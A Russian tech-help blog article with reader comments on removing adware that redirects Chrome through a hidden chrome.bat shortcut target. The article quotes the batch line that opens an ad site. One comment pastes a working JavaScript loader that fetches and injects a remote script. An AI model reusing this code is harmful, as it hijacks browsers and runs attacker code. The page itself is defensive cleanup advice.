» Google Chrome открывает рекламу или как удалить файл chrome.bat
Информация к новости
  • Просмотров: 328 203
  • Автор: admin
  • Дата: 19-08-2015
19-08-2015

Google Chrome открывает рекламу или как удалить файл chrome.bat

Категория: ---

Здравствуйте админ! Мой браузер Google Chrome открывает рекламу, причём всегда разную и ничего с этим поделать не могу. Переустанавливал Chrome несколько раз - не помогает. Штатный антивирус никаких зловредов не находит. Всеми известными антивирусными сканерами (Dr.Web CureIt, HitmanPro) проверял операционную систему на вирусы, даже установил в систему Malwarebytes Anti-Malware, всё без толку, никаких вредоносных программ в Windows нет. Что делать?
 

Google Chrome открывает рекламу или как удалить файл chrome.bat


Привет друзья! Причин у этой беды несколько и часто даже опытные пользователи не сразу находят источник проблемы.
Забегая вперёд скажу, в конце статьи описан очень интересный случай.
 
Сброс настроек браузера 
 
Если браузер Google Chrome открывает страницы с рекламой,

то первое что нужно сделать - произвести сброс настроек браузера, поможет это в случае, если в браузере измененна поисковая система по умолчанию, или установилось какое-либо вредоносное рекламное расширение. Сброс настроек браузера удалит негативные изменения, а ваши сохранённые пароли и закладки не пострадают.

Щёлкаем левой мышью на кнопке Настройка и управление Google Chrome (находится в правом верхнем углу браузера).

Настройки

Показать дополнительные настройки 

Жмём на кнопку Сброс настроек 

Сбросить 

Происходит откат всех настроек браузера к изначальным.

 

Переустановка браузера Google Chrome

 

Если возврат к первоначальным настройкам не дал желательного результата и реклама всё равно появляется в браузере, то советую вам просто переустановить его, то есть нужно удалить браузер и установить его заново, часто это приносит положительный результат. Идёте в панель Удалить или изменить программу и удаляете браузер, затем инсталлируйте его вновь.

Отметьте пункт Также удалить данные о работе в браузере

Удалить.

После удаления браузера, некоторые вредоносные файлы могут остаться в папке:

C:\Program Files (x86)\Google\Chrome

C:\Users\Ваше имя пользователя\AppData\Local\Google\Chrome, удалите папку Chrome и браузер удалится до конца.

 

Поиск вредоносной программы на компьютере

Часто бывает, что не только Google Chrome, а все установленные в операционную систему браузеры показывают рекламу, в этом случае нужно скачать бесплатный антивирусный сканер и проверить им Windows на вирусы. 

Друзья, как я уже не раз говорил в своих статьях - изобретательности вирусописателей можно только удивляться. Прекрасно понимая, что написанная вредоносная программа может быть сразу обнаружена установленным штатным антивирусом, хакерами тёмной стороны был придуман простой и гениальный способ, с помощью которого браузер Google Chrome будет показывать рекламу.
 
Если у нас установлен слабенький антивирус с неэффективным файерволом, то при открытии нашим браузером какого-либо вредоносного сайта происходит моментальная модификация вирусом простого ярлыка браузера - Google Chrome находящегося у нас на рабочем столе или на панели задач, на что может отреагировать установленный у нас антивирус и удалить вредоносную программу, после очистки, ярлык (по мнению антивируса) не является заражённым, но при ближайшем рассмотрении можно увидеть, что у него изменились свойства.
 
Недавно мне попался очередной такой компьютер с показом рекламы в браузере и я ничего не стал удалять, дабы всё показать вам. Обратите внимание, на рабочем столе находится ярлык браузера Google Chrome, щёлкнем на нём правой мышью и выберем Свойства.

У нормального ярлыка должно быть прописано:
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"

 

У модифицированного вирусом ярлыка немного другие свойства:
"C:\Program Files (x86)\Google\Chrome\chrome.bat" то есть в папке C:\Program Files (x86)\Google\Chrome находится простой батник chrome.bat, в котором прописаны адреса рекламных сайтов, которые открывает при запуске браузер Google Chrome, вот и весь секрет. Проверяйте этот простой батник хоть сто раз любой антивирусной программой или антивирусным сканером и он не будет принят за вирус!

  • Примечание: Батник - обычный текстовый файл с расширением .bat. В батнике содержится перечень команд выполняющихся с помощью командной строки. При запуске bat-файла запускается командная строка, считывает и выполняет все команды прописанные в файле.
Идём в папку, где находится батник: 
C:\Program Files (x86)\Google\Chrome\ находится батник chrome.bat, но там только папка Application. 

Идём в параметры папок и снимаем галочку на пункте Скрывать защищённые системные файлы (рекомендуется) и отмечаем пункт Показывать скрытые файлы, папки и диски. Применить и ОК.

Опять идём в папку C:\Program Files (x86)\Google\Chrome\ и видим наш бат-файл chrome.bat.

Чтобы посмотреть, что там понаписали господа вирусописатели, меняем файлу расширение на .txt.

Щёлкаем правой мышью на файле chrome.bat и выбираем Переименовать.

Переименовываем в chrome.txt.

Да 

Продолжить 

Открываем файл chrome.txt. 

И видим команду запускающую сначала батник, затем браузер Google Chrome, который согласно прописанному сценарию в первую очередь переходит на сайт http://trapsearch.ru.

start "" /I /B /D "c:\PROGRA~2\google\chrome\APPLIC~1\" "c:\PROGRA~2\google\chrome\APPLIC~1\chrome.exe" http://trapsearch.ru

Удаляем файл chrome.bat и создаём новый ярлык браузера Google Chrome. 


Чем занимается вредоносный сайт http://trapsearch.ru и подобные ему

 

На данном сайте установлено вредоносное программное обеспечение, перенаправляющее пользователей на другие рекламные сайты:

http://ovulkan.com/ Игровой клуб Вулкан онлайн

http://promo.turbobinar.net/ Бинарные опционы 

и так далее и тому подобное, где кроме низкокачественной рекламы наш компьютер могут заразить различным типом вирусных программ, изменяющих домашнюю страницу нашего браузера, устанавливающих в него различные зловредные расширения и панели инструментов.

Статьи по это теме:

1. Как убрать рекламу в браузере

2. Обзор браузера Google Chrome

Дорогой посетитель, Вы можете задать на сайте любой вопрос и обязательно получите ответ!
<
Lexa

20 августа 2015 02:44

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
Я обычно сразу удаляю браузер из системы, не только через панель инструментов, но и из папки C:\Users\Пользователь\AppData\Local.
<
admin

20 августа 2015 07:46

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078
Да, согласен, тогда ничего не останется.
<
Jackal

20 августа 2015 11:15

Информация к комментарию
  • Группа: Посетители
  • ICQ: {icq}
  • Регистрация: 8.06.2015
  • Статус: Пользователь offline
  • Публикаций: 0
  • Комментариев: 30
Нормальный антивирус js скрипты проверяет в лёт. А случай в статье-это действительно уникально. Сейчас больше добавляется к ярлыку лишняя паразитная запись.
<
Alexandr

20 августа 2015 18:31

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
ВСЕ сайты, в том числе и этот, размещают у себя рекламу. Это необходимое зло, так как является основным источником дохода владельца сайта. Существуют разные способы просмотра сайтов без рекламы. К примеру в IE для "современного интерфейса" в Windows 8, а также в браузере Edje, есть режим "чтения", в котором НЕКОТОРЫЕ страницы сайтов можно просматривать без рекламы. Также существуют некоторые надстройки к браузерам, выполняющие ту же функцию. Но без этих ухищрений ни один браузер не избавит вас от рекламы, даже если установить систему и браузер "на чистую", так как повторюсь, реклама является неотъемлемой частью ВСЕХ сайтов. Мало того, стоит вам в том же Google поискать что-либо, как похожая реклама будет приветствовать вас на всех сайтах.
<
admin

20 августа 2015 20:39

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078
Реклама разная бывает, на своём сайте вредоносной или некачественной рекламы не видел.
<
Alexandr

20 августа 2015 21:52

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
Не возражаю smile
<
Tatyana

25 августа 2015 21:12

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
Помогите, пожалуйста! У меня во всех браузерах появился bat. Браузеры Opera и Chrome удалила. А как убрать iexplore.bat?
<
admin

25 августа 2015 22:00

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078
Пока ничего не удаляйте. Нужно проверить компьютер на вирусы лечащей утилитой Dr.Web CureIt, подробная статья здесь
http://remontcompa.ru/222-kak-proverit-kompyuter-na-virusy.html
<
Tatyana

26 августа 2015 15:05

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
Проверила и полечила компьютер утилитой Dr.Web CureIt. В Internet Explorer есть iexplore.bat, iexplore.bat.exe, iexplore.exe. По поводу iexplore.bat, iexplore.bat.exe действия такие же, как и в описании Chrome?
<
admin

27 августа 2015 07:51

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078
Dr.Web CureIt наашёл какие-либо вредоносные программы?
Да, эти файлы iexplore.bat, iexplore.bat.exe нужно удалить.
<
Tatyana

27 августа 2015 08:46

Информация к комментарию
  • Группа: Посетители
  • ICQ: {icq}
  • Регистрация: 26.08.2015
  • Статус: Пользователь offline
  • Публикаций: 0
  • Комментариев: 1
Dr.Web CureIt нашел 4 вредоносные программы, в том числе траян. Баты поудаляла. Благодарю за помощь! Очень оперативно и качественно!
<
Anastasia

3 сентября 2015 17:16

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
У меня сбоку выползает реклама, вк между сообщений и фото, да везде, а в chome написано exe. Есть другой вариант? dr.web не дает мне сделать полную проверку компьютера, сам включает выборочную, сколько бы я не жала на полную. Это серьезно?
<
admin

3 сентября 2015 18:22

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078
Установите ESET NOD32 Smart Security 8 на месяц бесплатно, и проверьте им свой компьютер, обязательно поможет, подробности

http://remontcompa.ru/520-kak-skachat-ustanovit-i-proverit-svoy-kompyuter-antivi
rusom-eset-nod32-smart-security-7.html
<
Николай

8 ноября 2015 12:47

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
Респект админу! Все проделал и получилось. Реклама больше не
надоедает. Отличная статья.
<
Vortex

20 ноября 2015 21:19

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
Наловил батников в Chrome и Opera.

CureIt почему-то не справился, прогнал KVRT (Kaspersky Virus Removal Tool) - все вылечилось.

Давно уже создается впечатление, что KVRT и CureIt лучше применять вместе - после проверки одним, второй отлавливает еще несколько штук. В любой последовательности.

Еще пара вещей про модифицированный браузер:
1) Перед лечением браузер таки нужно закрыть, иначе антивирус не сможет снести заразу - будет отказ в доступе.
2) Стоит руками слазить и проверить файл: "C:/Windows/System32/drivers/etc/hosts". Открывается блокнотом.
Если помните, что ничего в этот файл не писали {например, не отучали Adobe от активации :-) }, а в файле присутствуют строчки, не содержащие в начале решетки # - пересохраните его на рабочий стол,
сотрите все такие строчки и замените полученным файлом исходный.

Редиректы через Hosts - древний и простой способ показать пользователю не тот сайт, который он хочет - например, отключить переход на сайты антивирусов или подменить форму ввода пароля на фэйк со сливом вводимого пароля злоумышленнику.
<
Макс

8 декабря 2015 22:44

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0
Можно ли совет, как удалить показ рекламных роликов на сайтах vk.com, youtube и тд? Для просмотра нужного видео в начале и в процессе просмотра идет показ рекламы, которую не прокрутишь. Приходится дожидаться конца, прежде чем перейти к основному просмотру.
И вообще как убрать с сайтов ненужное рекламное содержимое?
<
admin

9 декабря 2015 00:37

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078
А вы просто не заходите на сайты с рекламой, так будет честнее.
<
Даша

29 декабря 2015 14:05

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Делала все по инструкции, но текстовый скрытый файл не появился. Другие появились на рабочем столе, а этого нет. И само расширение ярлыка содержит bat, но выглядит по другому. Переустанавливала браузер и реклама теперь даже в сообщениях ВК, достала до хруста пальцев, помогите пожалуйста!!! http://cs627618.vk.me/v627618423/314c2/zvfoq6ATFow.jpg

 

<
admin

29 декабря 2015 15:20

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вредонсный файл должен быть в папке C:\ProgramData\XhKnRpHdT, удалите эту папку.

 

И установите на компьютер ативирус ESET NOD32 Smart Security 9 и проверьте им диск C: с вашей операционной системой, подробная статья здесь

 

http://remontcompa.ru/520-kak-skachat-ustanovit-i-proverit-svoy-kompyuter-antiv
irusom-eset-nod32-smart-security-7.html

<
DeMoN

10 февраля 2016 14:23

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

А у меня каждый раз при загрузке компа создаётся целая папка с файлами в папке \AppData\Local. Каждый раз удаляю. В ней находится пресловутый батник, на который ссылается ярлык хрома. Антивирями всё сканил, ничего не находят. Скажите, в чём корень зла?

Да, в автозапуске тоже ничего лишнего

<
admin

10 февраля 2016 20:54

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вот эту статью почитайте пожалуйста

http://remontcompa.ru/486-pochemu-tormozit-noutbuk.html

<
Zamirka-san

14 февраля 2016 12:58

Информация к комментарию
  • Группа: Посетители
  • ICQ: {icq}
  • Регистрация: 5.07.2015
  • Статус: Пользователь offline
  • Публикаций: 0
  • Комментариев: 34

Откат, исключения, переустановка ничего не решает, заразы снова и снова появятся.

<
admin

14 февраля 2016 16:56

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Установите хороший антивирус и зараза не появится.

http://remontcompa.ru/249-vse-o-virusah-i-antivirusah.html

<
Evgen

11 апреля 2016 22:41

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Разве ярлык хрома не должен ссылаться на exe хрома в корневой папке? Что еще за бат расширение, на который у вас ссылается? 

<
admin

12 апреля 2016 07:10

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Во-первых, добрые люди говорят друг другу - здравствуйте. 

<
Иван

21 апреля 2016 12:18

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Здравствуйте!

У меня вот ситуация похожая, но круче!

Хром открывается, работает, а потом вдруг ни с того, ни с сего открывает новую вкладку и лезет на какие-то игровые сайты.

Более того, может быть следующая ситуация: все приложения закрыты, рабочий стол на экране, никто ничего не трогает и вдруг... открывается хром и заходит на те же игровые сайты сам..

Эти переходы не отображаются в истории хрома) Батов никаких нету - хром как хром!

Что делать в такой ситуации?

P.S. Однажды ночью ноутбук был включен и вдруг как начнет какие-то звуки издавать! Я вскочил, перепугался! Сначала не понял что случилось, а потом выяснилось, что хром в очередной раз провернул этот финт ушами, только у ноута был звук на нормальную громкость выкручен..) Закрыл хром, выключил звук и спать лег обратно..)

<
admin

21 апреля 2016 13:40

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Начните с того, что переустановите браузер полностью, зате проверьте весь диск C: на присутствие вредоносных программ антивирусным сканером Dr.Web CureIt по этой статье:

http://remontcompa.ru/222-kak-proverit-kompyuter-na-virusy.html

 

вобще в идеале установить вот этот антивирусный продукт, тогда никаких проблем с браузерами у вас не будет

http://remontcompa.ru/520-kak-skachat-ustanovit-i-proverit-svoy-kompyuter-antiv
irusom-eset-nod32-smart-security-7.html

<
Олег

28 июля 2016 06:16

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Здравствуйте, после удаления файла bat проблема не решилась, хром по прежнему отказывается запускаться. Что делать?

<
admin

28 июля 2016 08:34

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Удалите папки 

C:\Program Files (x86)\Google\Chrome

C:\Users\Ваше имя пользователя\AppData\Local\Google\Chrome

и очистите папку 

C:\Users\Ваше имя пользователя\AppData\Local\Temp

<
иукккв

13 августа 2016 17:28

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

C:\ProgramData, ищите bat файлы и удалите.

<
Мистер

17 октября 2016 16:34

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Спасибо. Помогло. А то достала эта реклама.

<
Guard

23 октября 2016 14:21

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Мне не помогло, в моем случае загружается thisgo.su/cgo, а затем она переходит на второй сайт какой-то, после открывается сайт с какими-то вулкан автоматами (КАЗИНО), что делать ваши методы ни один не помог, Антивирус ESET Endpoint Security.

<
admin

23 октября 2016 19:45

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вот это решение попробуйте

http://remontcompa.ru/277-kak-ubrat-banner-v-brauzere.html

<
Alfend

15 ноября 2016 09:14

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Мне помогло удаление задания InternetE в планировщике (панель управления, администрирование) 

<
Александра

23 ноября 2016 00:07

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Добрый День!

Очень внимательно прочитала все ваши инструкции и каждую выполнила, но к сожалению это не помогает. Есть еще какие-то способы?

<
admin

23 ноября 2016 10:46

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

И установите на компьютер ативирус ESET NOD32 Smart Security 9 и проверьте им диск (C:) с вашей операционной системой, подробная статья здесь

 

http://remontcompa.ru/520-kak-skachat-ustanovit-i-proverit-svoy-kompyuter-antiv
irusom-eset-nod32-smart-security-7.html

 

точно поможет.

<
Игорь

23 ноября 2016 15:26

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Нет, вообще ничего не помогает, ярлык нормальный, всё нормально. Проверял Касперским- ничего не нашёл, проверял Anti-Malware'ом- нашёл кучу рекламы, но вкладки с рекламой всё равно открываются. Переустанавливал браузер- не помогло. А самое обидное это то, что даже с выключенным интернетом(у меня мало ОЗУ и приходится выключать интернет чтобы система не обменивалась данными с майкрософтом) у меня всё равно включается гугл и открывает рекламу, но так уже пишет, что нет подключения. То есть вирус просто въелся в систему и открывается по расписанию, не зависимо от того, есть ли интернет или нету. Я думаю что поможет переустановка системы, но это я сделаю если я куплю ещё памяти и если найду носитель, где можно было бы скопировать всё нужное с диска (а с дисковым пространством у меня вечно проблемы, никогда его нету).

<
Serj

23 ноября 2016 16:15

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Вредоносная программа может изменить Предпочитаемый DNS-сервер в свойствах протокола интеренета, в моём случае всё было именно так, подробная статья здесь


http://remontcompa.ru/277-kak-ubrat-banner-v-brauzere.html

<
Catherine

4 декабря 2016 15:56

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Спасибо, мне помог самый простой способ.

<
12345

15 декабря 2016 13:41

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Здравствуйте.

Мне помог мой простой и всегда эффективный способ. Когда только открывается ХРОМ, то нужно успеть быстро записать адресс сайта. Затем, зайти в реестр, нажать и удерживать клавишу Ctrl затем нажать клавишу F. Выдет окно, в нём и нужно прописать адрес сайта (который ПЕРВЫМ загружает ХРОМ), но без WWW и http. Затем нажать клавишу Enter. Именно этот файл с адресом и запускает хром,  а после и перенаправляет на сторонний сайт с рекламой. Реестр начнёт поиск записи с этим названием. Как только он найдёт эту запись (а он найдёт, будьте уверены), смело жмите клавишу Delete и затем Enter.  Такую процедуру проделайте несколько раз до тех пор, пока реестр не покажет маленькое окошко с надписью реестр поиск завершил. Потом перезагрузите комп и посмотрите, появится-ли эта фигня (сторонний сайт) снова. Если появился, то значит нужно проделать эту операцию заново, но более тщательно. Тщательно, в смысле удалить хром, все его подпапки и очистить реестр от сайта и самого хрома. Тогда в чистый реестр (систему) установить заново хром...

 

Админ молодец, всё объясняет доходчиво даже для чайников.. Буду рад, если и мой способ кому-нибудь поможет. Конечно, если все способы описанные админом не помогли..  И ещё один момент. Иногда, когда вы открываете какой-либо сайт и там есть реклама, а в верхнем углу (левом или правом) есть кнопка в виде крестика якобы для удаления этой рекламы, то не торопитесь нажимать на эту кнопочку. Потому как эта кнопочка запустит в ваш браузер вируный файл для рекламы. На самом деле это кнопка не для удаления рекламы, эта кнопка запуска вируса. Старайтесь не заходить на такие сайты. Эти комбинации уже давно используют вирусописатели.

<
Антон

21 декабря 2016 03:29

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Короче, не помогает... Всё сделал как показано, а файл crome.bat не появился. Что делать ?

<
admin

21 декабря 2016 07:30

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вот этим антивирусом проверьте весь диск (C:)

http://remontcompa.ru/1128-zemana-antimalware-otlichnoe-reshenie-dlya-zaschity-
vashego-kompyutera-ot-vseh-tipov-vredonosnyh-programm.html

<
Анатолик

21 декабря 2016 15:05

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Удалял полностью и из папок и сканировал курейтом, устанавливаю по новой и всё тоже самое происходит, хром запускается сам и вместо домашней страницы открывается вулкан.

<
admin

21 декабря 2016 17:14

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вот это ещё попробуйте

http://remontcompa.ru/1113-utilita-junkware-removal-tool-prekrasno-udalyayuscha
ya-iz-operacionnoy-sistemy-reklamnoe-i-shpionskoe-po.html

 

и это

http://remontcompa.ru/1118-antishpion-spyhunter.html

<
Александр

27 декабря 2016 17:08

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Здравствуйте у меня в ярлыке вот такое расширение ("C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\-------\AppData\Roaming\Microsoft\Explorer\L
ibraries") я перешёл по второму адресу и там вот такой ява скрипт. 

var http = new XMLHttpRequest();

var scr = 'http://webstatservice.net:3001/' + (window === window.top ? 'script3.js' : 'script3_frame.js');

var http = new XMLHttpRequest();
http.open('GET', scr, false);
http.send(null);

var elem = document.createElement('script');
elem.innerHTML = http.responseText;
document.head.appendChild(elem); что мне нужно сделать? Что удалить? PS: в место пунктира имя!

<
Super Maxusa

28 декабря 2016 20:27

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Ребят помогите! В Chrome постоянно открываеться всякая реклама (сайт fime-mand.com). А Chrome.bat нету и другой вяки no .
Как решить?

<
Rallyneo

29 декабря 2016 11:19

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Мой браузер имеет те же симптомы, что указаны выше, и проверял я систему различными антивирусами и программами типа Malwarebytes, Anti-Malware и удалял chrome и сброс настроек делал. Файла chrome.bat и все что с этим связано на компьютере нет, но тем не менее сайты открываются постоянно с периодичностью в две минуты.

<
admin

1 января 2017 21:15

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Просканируйте систему вот этим антивирусом

http://remontcompa.ru/1128-zemana-antimalware-otlichnoe-reshenie-dlya-zaschity-
vashego-kompyutera-ot-vseh-tipov-vredonosnyh-programm.html

 

Здравствуйте у меня в ярлыке вот такое расширение ("C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\-------\AppData\Roaming\Microsoft\Explorer\L
ibraries") я перешёл по второму адресу и там вот такой ява скрипт. 

var http = new XMLHttpRequest();

var scr = 'http://webstatservice.net:3001/' + (window === window.top ? 'script3.js' : 'script3_frame.js');

var http = new XMLHttpRequest();
http.open('GET', scr, false);
http.send(null);

var elem = document.createElement('script');
elem.innerHTML = http.responseText;
document.head.appendChild(elem); что мне нужно сделать? Что удалить? PS: в место пунктира имя!

 

Удалите браузер полностью и просканируйте систему вот этим антивирусом

http://remontcompa.ru/1128-zemana-antimalware-otlichnoe-reshenie-dlya-zaschity-
vashego-kompyutera-ot-vseh-tipov-vredonosnyh-programm.html

затем установите браузер заново

<
Александр

9 января 2017 23:58

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

В моем случае почиститься помог Malwarebytes. И дополнительно зараза залезла в планировщик заданий откуда через хром открывала рекламный сайт (Панель Управления - Администрирование - Планировщик Заданий). 

<
admin

10 января 2017 23:06

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Вот ещё хорошая программка, которую можно использовать вместо Malwarebytes

http://remontcompa.ru/1128-zemana-antimalware-otlichnoe-reshenie-dlya-zaschity-
vashego-kompyutera-ot-vseh-tipov-vredonosnyh-programm.html

<
Руслан

11 января 2017 06:28

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Александр здравствуйте! "В моем случае почиститься помог Malwarebytes. И дополнительно зараза залезла в планировщик заданий откуда через хром открывала рекламный сайт (Панель Управления - Администрирование - Планировщик Заданий)."

 

Спасибо! Вы очень помогли! Особенно планировщик в результате давал рекламу. Неделю на работе не мог работать за компьютером ))) Это радость. wink  wink  wink 

<
Stanis

14 января 2017 20:57

Информация к комментарию
  • Группа: Посетители
  • ICQ: {icq}
  • Регистрация: 12.07.2016
  • Статус: Пользователь offline
  • Публикаций: 0
  • Комментариев: 1

Пишу повторно, сначала не зарегистрировался. Так вот о рекламе. Сама по себе реклама бывает и очень нужной. Но во-время и в нужном месте, а не где-попало. Интернет это современность, оперативность, компетентность и необходимость. Поэтому в браузере обязательно должен быть отдельный большущий рекламный сайт. Он должен быть хорошо спланирован, хорошо оформлен и расписан по рубрикам. Всем нужна информация, иногда и очень необычная, но чаще утилитарная, повседневная. Дело ведь идет не о самой рекламе, а о том, что она "лезет не в свои сани" А это уже совсем другая история. Не хватает, мягко говоря, вежливости. Взрослые люди должны бы это понимать. По сути, это недосмотр авторов и владельцев браузера (любого). Нужно им подсказать. И это даже подымет их престиж у пользователей. А нынешнее положение смахивает, простите, на Дикость.

   Желаю Всем успехов! 

<
admin

15 января 2017 16:40

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Да, согласен.

<
Валерий

23 января 2017 16:28

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

У меня такая же ситуация была.

С некоторой периодичностью сами по себе открывались новые вкладки в Chrome.

Оказалось, что эта зараза прописалась в планировщик заданий в Windows, поэтому антивирусы её не замечали.

<
admin

24 января 2017 09:20

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
  • Статус: Пользователь offline
  • Публикаций: 1109
  • Комментариев: 31078

Да, такое тоже может быть, нужно дополнить статью.

<
Galya

5 февраля 2017 04:20

Информация к комментарию
  • Группа: Гости
  • ICQ: {icq}
  • Регистрация: --
  • Статус:
  • Публикаций: 0
  • Комментариев: 0

Здравствуйте, столкнулась с такой проблемой, в хроме постоянно открываются вкладки с рекламой, пробовала переустанавливать, но это не помогает. У вас написано, что в этом случае нужно на раб.столе зайти в своиства и проверить обьект на наличие bat, но у меня там его нет, что в этом случае можно сделать? 

<
admin

5 февраля 2017 10:18

Информация к комментарию
  • Группа: Администраторы
  • ICQ: {icq}
  • Регистрация: 2.04.2011
